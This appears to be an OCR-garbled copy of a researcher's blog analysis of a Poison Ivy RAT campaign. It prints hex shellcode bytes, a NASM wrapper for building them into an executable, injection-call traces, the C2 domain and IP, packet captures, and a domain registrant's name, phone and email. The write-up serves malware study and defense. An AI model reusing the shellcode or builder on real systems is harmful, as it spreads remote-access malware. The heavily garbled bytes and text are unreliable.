
105

106

107

108 dd code PointerToRawDatal

109 dd 0 . PointerToRelocations UNUSED!
110 dd 0 . PointerToLinenumbers UNUSED.
111 dw 0 : NumberOQfRelocations UNUSED.
112 dw 0 : NumberOfLinenumbers UNUSED.
113 dd 0x60000020 Fi\\ ; Characteristics (code, execute, read) UNUSED!|
1141

115|hdrsize equ § - $$.

16|

171 .

1}8 :¢PE code section datal INSLPED AL kY

1201 .

121 |align filealign, db 0l

|V AN

}%i code:

. Rl A2 e — — S 2kt (=
125|: Entry pointd 4o ———— I/\//t’) RV P ECCTEHIC/ET..
126/ 1 (M-

127 |start: |
72877 - ;
129]; . text Y1)b1— FDopcode® LT AN |

T
131|db 0x52. 0x66. 0xA9., 0x5C. OxC6. 0x5A. 0x90. OxE8, 0x83. 0x21. 0x00. 0x00. OxBA. OxBF. 0xB8. 0x01.
132|db 0x45, OxEC, OxE9, OxE9, Ox62, 0x31, 0x68, O0x2A, OxA9, Ox7A, 0xA9, OxE9, Ox6A, O0x52, 0x27, OxE9.
133|db OxE9. O0xE9. O0xE9. 0x9C. OxDG. 0x01. 0x87. OxEC. OxE9. OxE9. 0x62, 0x19. 0x81. 0x99. Ox6F. O0xA9.
134|db OxE9, 0x01, 0x33, OxEC, OxE9, OxE9, 0xB9, OxBF, 0x01, OxFA, OxEF, O0xE9, OxE9, Ox62, 0x19, 0x6C.
135[db Ox1F. 0x9D. OxFE. OxBD. 0x83. OxE9. 0x83. O0xE9. 0x01. 0x9A. OxEC. OxE9. OxE9. 0x68. 0x29. 0xB5.

SEFRERE..OYDILI- Fw

By using gcc or nasm to compile the PE file can be created in FreeBSD.

MName Size Type Date mo

stupid-shellcode.exe
Date created: 2017,/03/14 23:37
Size: 8.78 KB

stupid-shellcode.e
xe

So we can now analyze the code for further analysis and behavior analysis of the malware without any risk. (A - A v

So it turns out that much of the behavior of the sample conducts many malware actions, the shellcode extracts
information of its victim and calls back to a C2 server and other nefarious actions.

Writing out exactly what the payload does will take a very long time but here is the draft of the sample’s payload
behavior diagram in a hand writing | made for my own memo during stepping (sorry for an ugly hand writing) |
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.

(This hand writing diagram contains the shellcode process, for both shellcodes used by FHAPPI. The first one is what
had been injected by the powershell.exe, the second one is what had been injected into the userinit.exe process. I’ll
clean up once | get to it, besides the malicious actor could be reading this post too. So once the necessary steps are
taken | might clean this up)

Shellcode is a piece of code used as a payload that uses software security holes in computer security. Shell codes are
often written in machine language. In order to allow an attacker to control an intruding machine, they often launches
a shell, for that a machine language code is executed.

Shell code is not necessarily just to start a shell, even without opening any shell, intrusion of malicious commands
can be performed, for example, executing a specific function of a library by addressing specific work space in kernel
for execution of a malicious activities, so it is said that the name of shell code is insufficient. However, other terms
have not been established so far.

5 . POISON IVY

The shell code utilizes many system calls and hence the shell code itself is somewhat bloated.
The following picture is the list of DLL calls | yanked from forensics.
(sorry for not cleaning this up, #neverenoughtime) |
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GreateThread. KERNEL32 (00000000, 00000000, ?, 7, 00000000, ?, ?,?), xref: 0x011B006GC.
LookupPrivilegeValueA. ADVAP132 (00000000, 2, 9), xref: 0x011B008B.
AdjustTokenPrivileges. KERNELBASE (?, 00000000 00000001, 00000010, 27, "), xref: 0x011|
AdjustTokenPrivileges. KERNELBASE (?, 00000000, 00000001, 2, OOOOOOOO 9), xref: 0x011
GreateFileA. KERNEL32 (?, 80000000, 00000003, 00000000 00000003 00000080 00000000),
getsockname. WS2_32 (?,? 00000010) xref: 0x011B02B9.
VirtuaIAIIoc.KERNELBASE(OOOOOOO0,000000FF,00001000,00000040), xref: 0x011BO2FA.L
GetComputerNameA. KERNEL32 (?, 000000FF), xref: 0x011B0308.

VirtualAlloc. KERNELBASE (00000000, 000000FF, 00001000, 00000040), xref: 0x011B0349.
GetPriorityGlass. KERNELBASE (00000000), xref: 0x011B0O3GFL

SetPriorityClass. KERNELBASE (00000000), xref: OxQ11BO3F3!

Sleep. KERNELBASE (0000000A) . xref: 0x011B040A .

Sleep. KERNELBASE (000001F4), xref: 0x011B041D!

SetPriorityClass,. KERNELBASE(OOOOOOOO) xref: 0x011B044A.

select. WS2_32 (00000000, 00000001, 00000000,00000000,?,?), xref: 0x00061423.

recv. WS2_32(?, 2, ?,00000000, ?7), xref: 0x0006143F .

send. WS2_32(?,?,?,00000000, ?), xref: 0x00061444.

SetErrorMode. KERNELBASE (00008007), xref: 0x00130085.

VirtualAl loc. KERNELBASE (00000000, 00000588, 00001000, 00000040), xref: 0x00130113L

e
VirtualAl loc. KERNELBASE (00000000, 0000001C, 00001000, 00000040), xref: 0x001307F7L
Greatelhread. KERNEL32 (00000000, 00000000, 00000000, 00000000, 00000000, ?), xref: Ox
socket. WS2_32 (00000002, 00000001, 00000000), xref: 0x00061059.
gethostbyname. WS2_32 (?)., xref: 0x0006107E!
connect. WS2_32 (7, 00000002, 00000010, 00000002), xref: 0x000610BO.

s
VirtualAlloc. KERNELBASE (00000000, ?, 00001000, 00000040), xref: 0x00170085.
LoadLibraryA. KERNEL32 (00000000), xref: 0x001700A6!

VirtualAlloc, EEUE_BASE(OOOOOOO0,00000000,00001000,00000040), xref: 0x001701A3.
R

m:=

CreateF| eA. KERNEL32 (?, 80000000, 00000001, 00000000, 00000003, 00000000, 00000000, 00

V|rtuaIAIIoc KERNELBASE (00000000, ?, 00001000, 00000040), xref: 0x00170085.
CreateMutexA KERNELBASE (00000000, 00000000, ?, 00000000), xref: 0x000603AA!

Vi rtuaIAIIoc KERNELBASE (00000000, ?, 00001000, 00000040), xref: 0x001800C3.

Sleep. KERNELBASE (00000064), xref: 0x001805E1)

VirtualAlloc. KERNELBASE (00000000, 00000029, 00001000, 00000040), xref: 0x01100079.

LoadLibraryA. KERNEL32 (00061EF1), xref: 0x00061EF9L

girgu? T Iock_§3UE [BASE (00000000, 7. 00001000, 00000040), xref: 0x0110009D!
obalAlloc. KE

ELBASE (00000002, 00000000, 2. 7). xref: 0x011100AA[EOF]

o~

*) you will need to sort these out by analyzing the flow of the malware in assembly mode.

| notices this is a "Poison Ivy; during the first stage of trace-assembly analysis of the shellcode:
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1 0x0400281’ call esi- CreateProcessA@EKERNEL32. DLL /7 %ﬁ?ﬁj AE2AZELANY, CTTTROBITOEREHEY 01

2 > > PID: 2756 Path: C: ¥W|ndows¥System32¥user|n|t exe |

3 > > > > > // Base: TFFDB238 Length: 4 Value: 00 00 05 00 .

é 0x0400283> test eax, eax: - 4 4 ” CreateProcessAZ=E4TL

6 0x0400208’ call edi- VlrtuaIAI IocEx@@KERNELBASE DLL// AEYUDARA— X.%{f*¢

7/0x04002CA- mov ebx, eaxr - // VirtualAl locEx #3247

g OXOAOOZCC) test ebx, ebx> - > > / VirtualAl IocEx@KERNELBASE DLL ®retTcomp |

10 0x04002E1> caII dword ptr [ebp 08h] Wr|teProcessMemory@@KERNELBASE DLL |

11 / Eof-BTAERIZAE EICTFRO/NA FEEERAH L

12 / PID: C:¥Windows¥System32¥userinit. exe ; Base: 60000; Length: “8579")
13 // Value: 53 56 51 £8 AC 05 00 00 8B D8 81 G3 40 93 40 00 83 BB CE 00 00 Of

E 05 00 00 8B FO 68 70 86 40 00 E8 DA 05 00 00 50 56 E8 13 06 00 00 8B FO 85 F6 74 17 54 6A 00 GA 00 E& 73 05 00 00 81 CO 5C 88 40 00 50
D6 53 E8 C8 02 00 00 5A 5E 5B C3 43 72 65 61 74 65 54 68 72 65 61 64 00 00 00 00 55 8B EC 83 C4 94 53 56 57 E8 16 05 00 00 8B D8 85 DB (
00 68 D4 87 40 00 E8 7A 05 00 00 50 53 E8 B3 05 00 00 8B FO 68 E4 87 40 00 E8 67 05 00 00 50 53 E8 A0 05 00 00 8B F8 68 F4 87 40 00 E8 5
3 E8 8D 05 00 00 89 45 F8 68 08 88 40 00 E8 40 05 00 00 50 53 E8 79 05 00 00 89 45 F4 68 1C 88 40 00 E8 2G 05 00 00 50 53 E8 65 05 00 00
88 40 00 E8 18 05 00 00 50 53 E8 51 05 00 00 89 45 EG 68 40 88 40 00 E8 04 05 00 .

14
15 0x0400315> call dword ptr [ebp-10h]: SetThreadContext@@KERNEL32 DLL// ALy FDREEFERFT L L
16| 0x0400318- mov eax, dword ptr [ebp-24h]- 12 // SetThreadContextZ=4T!
}g 0x0400310> call dword ptr [ebp-14h]- ResumeThread@@KERNELBASE DL // FaEREEFTL
19 0x04004FF’ call edi- LoadLibraryA@@KERNEL 32, DLL /3473y —LLTR—FF 5L
20 > > > //args: Import, H\dden
21| /] INGA=R—1P 2756 |
220 /] NS A—R—2 Path C:¥Windows¥System32¥userinit. exel
23(0x0400501> push eax> ” LoadLibraryAZ=47.
24|0%0400516- call dword ptr [ebp 10h]- GreateMutexA@@KERNELBASE DLL.!
250 EXZ/EY. MUTE X% : ” ¥Sessions¥2¥BaseNamedOb jects¥20170301" 1
%g 0x0400519- mov edi, eax>  executed 7/ MUTEX’EH’F JxEFL
L
%g %) 247 by @unixfreaxjp by radare2.
L

As you can see a fake Tuserinit.exe, process was made, and a malicious code was injected in the process and then
to be executed. The victims will see a BAD Tuserinit.exe; process is doing bad stuff. This is a typical Poison Ivy
scheme. Further, the usage of the certain combination of DLL is showing a typical pattern of the threat too. More
over, the date stamped in the MUTEX name is mostly used by Poison Ivy (specific format).

What looks like a mouse, should be a mouse..

If you want to see the whole figure of Poison Ivy used by this campaign, you will need to compile it as a binary and
analyze it as per described above, or you can decrypt the XOR with a patience, and then go by opcode per opcode
reversing. It is very do-able, and as the proof you can see the following screenshots of what | decrypted by radare2 (I
only use one r2 shell for this under a FreeBSD OS, no fancy stuff, if | can do this then you can do the same)
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Another shellcode in a shellcode..

In the malware prosess "userinit.exe” there was a shellcode being injected. It looks like this:

with PDFm



http://i.imgur.com/NNigflP.png
http://i.imgur.com/eE5iXSM.png
https://pdfmyurl.com/save-as-pdf?src=pdf
https://pdfmyurl.com/?src=pdf

11535651E8AC0500008BD881C34093400083BBCEO00000007535E86E0500008BF06
870864000E8DA0500005056E8130600008BF085F67417546A006A00E873050000
810056884000506A006A00FFD653E8G80200005A5E5BC34372656174655468726
5616400000000558BEC830494535657E8160500008BD885DB0OF843301000068D4
874000E87A0500005053E8B30500008BF068E4874000E8670500005053E8A0050
0008BF868F4874000E8540500005053E88D0500008945F86808884000E8400500
005053E8790500008945F4681C884000E82C0500005053E8650500008945F0683
0884000E8180500005053E8510500008945EC6840884000E8040500 [EOF]

This second shell code was generated during the XOR-decrypting process when PowerSploit (malware script of
powershell.exe) injected the first shell code, and the first shell code to then injecting this second shell code into
userinit.exe process. First shell code is the whole Poisonlvy itself, second shellcode is the installed infectious
payload to the client's PC. See the screenshot | took while cracking the first shell code by XOR below in radare2, it
shows the second shell code was formed during the first shell code was XOR-decrypted itself:
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[0x0000218f 0% 180 hongkong-shel lcode]> 7051 tmpss..
& 01 23 45 67 89 AB CD EF 0123456789ABCDEF
5266 a%95¢ cb5a 90e8 8321 h356 H1e8| Rf.¥.Z...! .
acla 8bd8 81c3 4093 4000 83bb ce ceeea...0.@. ...
75 35e8 6e05 8b1D 687MAR640 ub.n.
e8 dal5 5056 =813 06 8 0850 _.....PV
oeax_0x00000000 eax 0x0000000c ebx 0x08000000
esi 0x00000000 edi 0x00000000 esp_UXquUo0000
ebp Ok00000000 eip 0x000021ae eflags P
' 35 Xor eax, ¥
27ed and ch, ch
90

fc
ha
52
48

5

cld

pop edx
edX

dec eax

inc eax

cme

58 pop eax
50
ha pop edx

83e901
8319

TIt's hard to see or noticing malicious part of the second shellcode by ASCII view, let's see it in binary mode |
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Now | see the suspicious " CreateThread ; DLL call printed out in there, very suspicious.
The type of this shellcode is in x86-32 with the size of 255 bytes.

To get more idea on how it works, you will have to see it's flow with any tool you prefer, but | have my beloved one,

and the result is like this:

cal | Oxbb4
mov ,

81c3409340 add , 0x409340
83bbce . L
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[0x19] s[g]
e86e05 call 0x58c
8bf0 mov esi, eax
68708640 0x408670
cal | 0x604

eax

esi
cal | Ox644
mov esi, eax
test esi, esi

287305 call| 0x5b4
81c05c8840 add eax, 0x4088bc
50 eax
ba 0
Ba 0

call esi

Oxde ;[b]

| 5—- esi:

e8c802 cal |l 0x3lc
ha pop edx
he pop esi

5b

It called the mapped addresses in the kernel prepared by the previous shellcode for kernel32.dl,advapi.dl, ws2_32.dl
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and kernelbase.dll, so one need to run the powershell script to see the exact address use. | see the usage of the
VirtualAlloc, CreateThread, LookupPrivilegeValueA, AdjustTokenPrivileges, CreateFileA, getsockname, sleep,
GetComputerNameA, GetPriorityClass, SetPriorityClass DLL functions were called.

To explain it a bit more, Poison Ivy shellcode during injection of the userinit.exe process was direct/undirectly
involved in loading the necessary DLLs in the kernel space. The second shellcode (injected to the userinit.exe) has
two types of "calls”, the short ones are caling to the "Hint" address of the function in a DLL in memory map and
second one is aiming for the "RVA" addresses.

To confirm about which address belongs to which functions of what DLL, one needs to know which DLL that was
beforehand used or loaded by the malware and then during the condition of "infection" or during the simulation of that
infection, the dump of the related DLL can show exact addresses that are applicable. For this case, there are many
ways to dissect this, in the Windows OS there is tool called PE Dumper. This tool (or similar ones) will show which are
RVA and Hint calls addresses and goes to specific functions. This is why | can know precisely which call were used.
Noted: | can not be too transparent for not inspiring other bad guys to do the same.

In my test PC (it's a 64bit windows since | run it as image under BSD) the snapshot of kernel.dll calls can be seen as
per following screenshot picture:
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oft (R) COFF/PE Dumper Version
ght (C) Microsoft Corporation. All rights reserved.

Dump of file ¥kerne|32.dl |
File Type: DLL

Section contains the following exports for KERNEL32.dl|

0.00 version

1 ordinal base . s
1220 number of-~fdnctions £V h7ELA
1220 numbgr”of names ] i
ordinal [hint| RYA name

Ac

;i
5

2/ |0001COE3
00022E4D {
00010917 |AddAtomW
5 |00042C73 |AddConsoleAl iasA
2 |AddConsoleAl iasW

O W oo~

The reversed process for the second shellcode can be disassembled as per what | did in below report (it is the "head”
of the longer analysis).
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61

704
38| 0x11A006C*

40| 0x11A006F
41|0x11A0088:
47/ Ox1 140091

44/0x1 1 AOOBD
45]0x11A00C3-

ol
48|0x11A0155~
49 |0x11A0158~
50 Ox11A015A>

52 OxHAOZBQ’
52 0x11A02BC
ol

55|0x11A02FA-
56|0x11A02FD-
7 L

58|0x11A0308-
59|0x11A030E-

I
35|// M ERFTLL
1

call dword ptr [esi+29h]-

lea eax, dword ptr [ebp-3Ch]-
call dword ptr [ebx+00000334h]-
mov eax, dword ptr [ebp-48h]-

call dword ptr [ebx+00000338h]-
mov eax, dword ptr [ebp-48h]-

call dword ptr [esi+59h]
mov edi,
cmp edi, OxFFFFFFFF

call dword ptr [ebx+7Ch]-
push dword ptr [ebp-000000B0h]-

call dword ptr [esi+21h]>
mov dword ptr [ebp-4Ch], eax:

call dword ptr [ebx+0000008Ch]-

CreateThread@@KERNEL32. DLL

[/ C CTHLL Y R EERFL
YWindows¥System32¥userinit.exe 5 7 AR F =T
LookupPr|V|IegeValueA@@ADVAPIS

/1 A

// PID&&2756 g)

ALy FOERT
AdjustTokenPrivileges@@KERNELBASE. DLL |

[ TNNEUIDISTEF UL
// T Z T2E%EZAdjustTokenPrivilegesZE{T. BEENEOAL 2wl

CreateFi|eA@EKERNEL32. DLL |
/S SZT274II rnduserprof\ = J¥P|ug1 dat] 5!
// (CreateFileA) Mret & comp

getsockname@@WS2 32. DLL -
/22 TR— 73)&/‘7/ FERS: 127.0.0.1 127.0.0.1 127.0. 0. 1000004

VirtualAllocGGKERNELBASE. DLL> |
/| ELROEADABIZAT) FERKL

L
C:
DLL |
$E[RB % LookupPrivilegeValueATHERL
E.DLL

GetComputerNameA@@KERNEL32 DLL ¢

lea edx, dword ptr [ebp-00000084h] TLYRARYICIREEL., PCEHREM

// ;\'— Tﬁ%& HKEY_LOCAL MACHINE¥SYSTEM¥Setup name :SystemSetuplInProgress.

You can see this "bad" userinit.exe is operated and creating the file called "Plug1.dat; , it made socket for the
further works, and querying PC info through "HKEY_LOCAL_MACHINE\SYSTEM\Setup ¢ SystemSetupInProgress ; ,
we'll see the values sent afterward. The next malicious process will be executed too. And these overall process will be
looped. | had to terminate the process of loop itself in the 9th time, so | save the data of the Plug1.dat to Plug9.dat.

The process being executed by the second shellcode can be seen clearly. | made a graph to describe it as per below:
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[ CreateThread ]
/ LookupPrivilegeValueA

[ VirtualAlloc ] AdjustTokenPrivileges
AdjustTokenPrivileges

B T
[ Sleep I ( CreateFileA ]

s
[ getsockname

VirtualAlloc
GetComputerNameA

¢

VirtualAlloc
GetPriorityClass
SetPriorityClass

Sleep

Sleep ixf '
SetPriorityClass S: rn T 8re2a(;< i[;'

%) memo: A hand-made diagram | wrote was actually describing the whole process of the shellcode injected via
powershell.exe, which also having the process traced of the second shellcode. The both shellcode are in interaction

during the infection process.

...now it started to sound like a mouse too..it is a mouse!

Up to this point, there is no doubt this is a Poison lvy.

6 . C N C and Network Traffic

E
PDFmyURL
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Since time is somewhat limited lets ignore the small stuff and focus on WS2_32.DLL cause it looks interesting. It
seems that there is a socket(),gethostbyname() and a connect() call. These revealed hostname and IP address for the
callback, along with minor information.

The IP address is a dial-up IP in South Korea. |

C’AI .
> Kaesong PO&herfon £l
e i ¥ uncheon
%C’Q%’ HOO —Paiu o neh
) | 619724315 - T
. o . S GANG)
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amyangju
c';" Dlal'%l:%_ aJ \
o oengseor
Ingl?g{on © oHanam 2| A
S YA = oM AN al all i
Seongrﬁmo G\Y EO)N G G'I' Wopju
< T Yongin >
Su&oor}o 206 v o o
T S eoju
o ==
=
% Jechec
Lhwwincanna s

Network/BGP Information— "61.97.243.15| |4766 | 61.97.243.0/24 | KIXS-AS | KR | kisa.or.kr | KRNIC |
So the hacker was utilizing another country for the CNC purpose, let's see more:

Hostname: web.outlooksysm.net
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;5 ANSWER SECTION:
web,outlooksysm.net, 61.97.243.15

5 AUTHORITY SECTION:
outlooksysm.net. b.ezdnscenter.com,
outlooksysm.net. a.ezdnscenter.com,

;5 ADDITIONAL SECTION:

a.ezdnscenter.com. 218.66,171,140
a.ezdnscenter.com. 117.25.136,140
a.ezdnscenter.com. 121.12.104.76

b.ezdnscenter.com. 117.25.136.141
b.ezdnscenter.com. 121.12.104.77

b.ezdnscenter.com. 218.66.171.141

This is the used domain's WHOIS info:

Domain Name: outlooksysm.net

Registry Domain ID: 10632213

Registrar WHOIS Server: grs-whois.cndns.com
Registrar URL: http://www.cndns.com

Updated Date: 2016-05-27T11:24:02%Z

Create Date: 2016-05-27T11:19:45%7

Registrar Registration Expiration Date: 2017-05-27T11:19:452
Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.
Registrar IANA ID: 1621

Registrar Abuse Contact Email: domain@cndns.com
Registrar Abuse Contact Phone: +86.2151697771
Reseller: (null)

Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID:

Registrant Name: Liu Ying

Registrant Organization: Liu Ying

Registrant Street: Nan An Shi Jing Hua Lu 88Hao
Registrant City: NanAnShi

Registrant State/Province: FuJian

Registrant Postal Code: 009810

Registrant Country: CN

Registrant Phone : +86.13276905963

Registrant Phone Ext:

Registrant Fax: +86.13276905963
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Registrant Fax Ext

Registrant Email: missliu6@sina.com

So we know where this asshole is coming from...

Just analyzing the code is not enough evidence, | needed a safe way to execute PE file to conduct further behavioral
analysis. This way | could capture all the CNC/C2 traffic. |

me Source Destination Protocol  Length Info
. 041874 [ ] 61.97.243.15 TCP 66 49312-80 [SYN] Seq=0 Win=8192 Len=0 M55-1460 W5=256 SACK_PERM=1
041931 6: 43.15 [ e 66 80-49312 [S¥N, ACKk] Seq-0 Ack=1 win-29200 Len-0 M55-1460 SACK_PERM=1 WS=128
.042075 61.97.243.15 TCP 54 49312-80 [ACK] Seq=1 Ack=1 Win=65536 Len=0
.042334 61.97.243.15  TcP 310 49312-80 [PsH, ACK] Seq=1 Ack-1 win-65536 Len-256
.042383 61.97.243.15 Tcp 54 8049312 [ACK] Seq=l Ack=257 Win=30336 Len=0
.793427 61.97.243.15 TP 310 80-49312 [PsH, ACK] seq-1 Ack=257 win-30336 Len-256
. 809689 61.97.243.15 Tcp 1514 80-49312 [AcK] 57 Ack=257 Win=30336 Len=1460
. 809936 ] 61.97.243.15  TCP 54 49312-80 [ACK] 57 Ack=1717 win=65536 Len=0
809982 61.97 80-49312 [PSH,

0336 Len=590

61.97.243.15  TCP 66 4931280

-013293 [ ] [AcK]
7 20.151462 5 Tcp 1514 8049312 [AcK] Seq 0336 Len=1460
68 29.151488 — Tce 1290 80-49312 [PSH, ACK] Seq=3767 Ack=257 Win=30336 Len=1236
69 20.152001 61.97.243.15  TCP 54 49312-80 [ACK] Seq=257 Ack=5003 Win=63536 Len=0
7 167604 TcP 1402 80-49312 [PSH, ACK] 5eq=5003 Ack=257 Win=30336 Len=1348
- 2l e <

2 29.369428 61.97.243.15 4931280

73 29.505195 1514 80-49312 i

74 29.505226 - 1514 80-49312 i

75 29.505236 620 80-49312 [PSH, ACK] S5eq=9271 Ack=257 Win=30336 Len=566
76 29.505479 61.97.243.15 54 49312-80 [ACK] Seq=257 Ack=9837 win-65536 Len-0

77 29.515076 612 8049312 [PSH, ACK] 5Seq=9837 Ack=257 Win=30336 Len=558
78 29.522175 1514 80-49312 [ACK] Seq=10395 Ack=257 win=30336 Len=1460

79 29.522201 1514 80-49312 1855 Ack=257 Win=30336 Lel

80 29.522428
81 29.522473
82 29.719041
83 29.864762
84 30.062571

61.97.243.15 54 4931280 57 Ack=13315 win=65536 Le
[ ] 339 8049312 [PSH, ACK] Seq=13315 Ack=257 Win=30336 Len=285
61.97.243.15 54 49312-80 [ACK] Seq=257 Ack=13600 win=65280 Len=0
I 920 80-49312 [PSH, ACK] Seq=13600 Ack=257 Win=30336 Len=866
61.97.243.15 54 49312-80 [ACK] Seq=257 Ack=14466 win=64512 Len=0

85 30.481288 61.97.243.15 294 4931280 [PSH, ACK] Seq=257 Ack=14466 Win=64512 Len=240
86 30.481319 61.97.243.15 54 80-40312 [ACK] Seq=14466 Ack=407 Win=31360 Len=0

7 30.966345 6. 7.243.15 102 [TcP segment of a reassembled ppu]

88 31.047527 | ] 102 49312-80 [PSH, ACK] Seq=497 Ack=14514 Win=64256 Len=18
89 31.047569 61.97.243.15 54 80-49312 [ACK] Seq=14514 Ack=545 Win=31360 Len=0

90 73.732281 61.97.243.15 102 [TCP segment of a reassembled PDU]

91 73.828041 [ | 102 49312-80 [PSH, ACK] Seq=545 Ack=14562 Win=64256 Len=48
92 73.828089 61.97.243.15 54 80-49312 [ACK] Seq=14562 Ack=593 Win=31360 Len=0

93 118. 919568 61.97.243.15 102 [TcP segment of a reassembled PDU]

94 119.038118 [ 102 49312-80 [PSH, ACK] Seq=593 Ack=14610 Win=64256 Len=48
95 119. 038147 61.97.243.15 54 80-49312 [ACK] Seq-14610 Ack-641 win-31360 Len-0

96 164.067944 61.97.243.15 102 [TCP segment of a reassembled PDU]

7 164. 093652 ] 102 49312-80 [PSH, ACK] Seq-641 Ack=14658 win-64256 Len—48
98 164.093691 61.97.243.15 54 80~49312 [ACK] Seq=14658 Ack=689 Win=31360 Len=0

99 209.207755 61.97.243.15 102 [TcP segment of a reassembled ppul
100 209. 250206 [ EEGYORTEL 102 4931280 [PSH, ACK] Seq=689 ACk=14706 Win=64256 Len=48
101 209.250245 61.97.243.15 Tce 54 80~49312 [ACK] Seq=14706 Ack=737 win=31360 Len=0
102 254.371133 61.97.243.15 - TCP 102 [TcP segment of a reassembled ppu]
103 254. 390845 EMMMSENNANN  61.97.243.15 TCP 102 49312-B0 [PSH, ACK] Seq=737 Ack=14754 Win=64256 Len=48
104 254. 390882 61.97.243.15 - TCcP 54 80-49312 [ACK] Seq=14754 Ack=785 Win=31360 Len=0
105 299. 535735 61.97.243.15 Tcp 102 [TCP segment of a reassembled PDU]

In this traffic was sent my test PC info (knew this after decoded) (@, @ ; ;



http://i.imgur.com/fQzBYeK.png
https://pdfmyurl.com/save-as-pdf?src=pdf
https://pdfmyurl.com/?src=pdf

ALLUSERSPROFILE=C:¥ProgramDatal

APPDATA=C: ¥Users¥MMDBANGSPIVYEAppData¥Roaming .
GCommonProgramFiles=C:¥Program Files¥Common Files!
GCOMPUTERNAME=MMDROCKS .
ComSpec=C:¥Windows¥system32¥cmd. exel
FP_NO_HOST_CHECK=NO..

HOMEDRIVE=C: |

HOMEPATH=¥User s¥MMDBANGSPIVY.
LOCALAPPDATA=C:¥User s¥MMDBANGSPIVY¥AppData¥Local |
LOGONSERVER=¥¥MMDROCKS |

NUMBER_OF _PROCESSORS=4.

0S=Windows_NT .

Path=C:¥Windows¥system32:C: ¥Windows;C:¥Windows¥System32¥Wb
PATHEXT=. COM:. EXE;. BAT;.CMD:.VBS:.VBE:. JS:. JSE;.WSF;. WSH:.
PROCESSOR_ARCHITECTURE=x86.
PROCESSOR_IDENTIFIER=x86, Genuinelntel!
PROCESSOR_LEVEL=6.

PROCESSOR_REVISION=3f02.
ProgramData=C:¥ProgramDatal
ProgramFiles=C:¥Program Files!
PSModulePath=C:¥Windows¥system32¥WindowsPowerShe| [¥v1. 0¥Mo
PUBLIC=C:¥Users¥Public/

SESSTONNAME=Consolel

SystemDrive=C:1l

SystemRoot=C:¥Windows .

TEMP=C:¥Users¥ 1¥AppData¥Local¥Temp.

TMP=C :¥Users¥" 1¥AppData¥Local¥Temp!
USERDOMAIN=MMDBANGSPIVY.

USERNAME=MMDBANGSPIVY .
USERPROFILE=C:¥Users¥MMDBANGSPIVY.
windir=C:¥Windows.l

The first transmission has a size of 256 bytes...this looks interesting... |
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Filter: tcp.stream eq 2 |Z| Expression... Clear

M Wireshark: HTTP object list

No. Time Source Destination Protocol  Length Info
56 28.041874 61.97.243.15 TCP 66 49312-80 [5YN| |Packet num Hostname Content Type Size Filename
57 28.041931 61.97.243.15 TCP 66 B0-49312 [sYN 49 www.geocities.jp 33 kB ohnts0301.psl
L
=
= Bl O . 203 15 L - —— ey ST BU-RUSIZ ALK 61 T oye
61 28.793427 61.97.243.15 TCP 310 80-49312 [PSH 70 1348 bytes
28. 809689 61.97.243.15 TCP 1514 B0-49312 [ACK
28. 809936 61.97.243.15 TCP 54 4931280 [ACK 71 1348 bytes
FE] 1460 bytes
66 29.013293 61.97.243.15 TCP 66 4931280 [ACK 7 1460 bytes
7 29.151462 61.97.243.15 TP 1514 B0-49312 [ACK 73 366 bytes
79 1460 bytes
M Follow TCP Stream (tcp.stream eq 2)
85 240 bytes

Vol =TVL LY. 0.6Q. . L &4 F. L TwE. L v b L
...0..Nz.
GO,

Stream Content I

CCITEVVZE(E M5 7190 (E PoisonIVY
(MChallenge and Response k57495

#MalwareMustDie! @unixfreaxjp

So by looking ups some reference material turns out that this 256 byte transmission is an identifiable traffic pattern
for the Poison lvy RAT. (The Challenge and Response Traffic for Poison lvy) |
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M Follow TCP Stream (tcp.stream eq 1)

Stream Content
00000000 60 59 db 2a b5 6b bd 21 49 d3 8&d 12 50 03 ce Ob "v.®.k.! I...P..

00000010 54 c8 6b 4c 44 14 17 d1 c9 4b 67 53 af cl 3a ec T.KkLD... .Kgs..:.
00000020 Of 69 0Oe 6b 89 bl b5 eb a4 0a e9 al d5 41 bb b5 .i.k.... ..... AL,
00000030 09 50 d5 eb ff el aa 40 06 40 06 3d 3e 90 aa ec .P..... a2 .3 ==.

00000040 43 48 ea 49 4f 85 62 0a 7 9d a0 16 c6 c4 bl 49 CH.IO0.b. ....... I

00000050 f8 e6 26 14 34 42 fa 83 7d 0a 59 56 a5 13 5F 59 ..&. 4B.. }.YV.._Y¥Y
00000060 cd aa 69 7a 62 c7 9b e9 78 35 27 bc 90 17 1c fb ..dizb... x5".....

00000070 f5 of 62 29 9a ac e6 7c e6 28 T3 38 9d 0d 96 5b .ob)...| .(.8...[
00000080 ab 53 9c 57 5F ce 16 d7 9b 7b b8 95 eD 96 07 08 .5.W_... .{......
00000090 69 f5 c0 8a bl dc 32 e4 68 7d 3a 70 55 01 43 59 1i..... 2. h}:pu.cy
000000A0 41 18 5c 03 32 82 71 7 31 cl1 bc a8 0 62 d4 %e A.N\.2.gr 1....b.

000000B0 70 al 49 97 15 ba 8e cf 9f 6e 21 f5 22 94 76 3c p.I..... B LI Y2
000000C0 1b 01 4c 74 27 58 94 29 c7 21 e9 d3 38 78 0d 7b ..LT"X.) .!..Bx.{
000000D0 85 5c 64 09 af 08 55 47 f1 68 27 ac d2 1c 79 cd .Md...UG .h'...y.
000000ED 4e d5 fd Oe 31 a8 ab de 90 df &F 70 b5 50 a6 c6 N...1... ...p.P..

P
O00000F0 ee 62 4a fa 7a f9 21 af 54 98 bb 72 44 Oc 66 28 .bJ.z.!'. T..rD.f(
00000000 14 41 47 8a af 71 2c el 65 5a 2d db 3d c9 fO bb .AG..q,. eZ-.=..
00000010 6c 01 4c b0 da Od a9 4e T8 32 97 3b 40 65 8d a3 1.L....N .2.;@e..

00000020 a2 51 12 f5 00 89 ce 68 Of ef 90 32 bf 86 5b 13 .qQ..... h ...2..[.
00000030 29 26 c2 dé dd 78 ¢9 de 1b 2c ed4 45 ed 86 9d a1l )&...%.. .,.E....
00000040 db 8a 11 2b 1e 4e 16 d0 05 fc 5d c1 8c 52 f4 af ...+.N.. ..]..R..
00000050 2a 18 dc ec bS5 35 2e @9 38 bd 6d e7 9a cB8 9Ff b3 *....5.. B.m.....
00000060 e5 39 02 46 48 f9 9b 7 08 06 c1 7 7e 51 a9 5F .9.FH..} ....~Q._
00000070 2f 2d ed 61 2d 62 8e 3d 9d ee 57 2c d8 56 83 f2 /-.a-b.= ..wW,.V..
00000080 432 d4 b0 18 73 ca 7c 59 ab 9e 2d 76 Oc 9f 69 36 C...s.|¥ ..-v..1i6
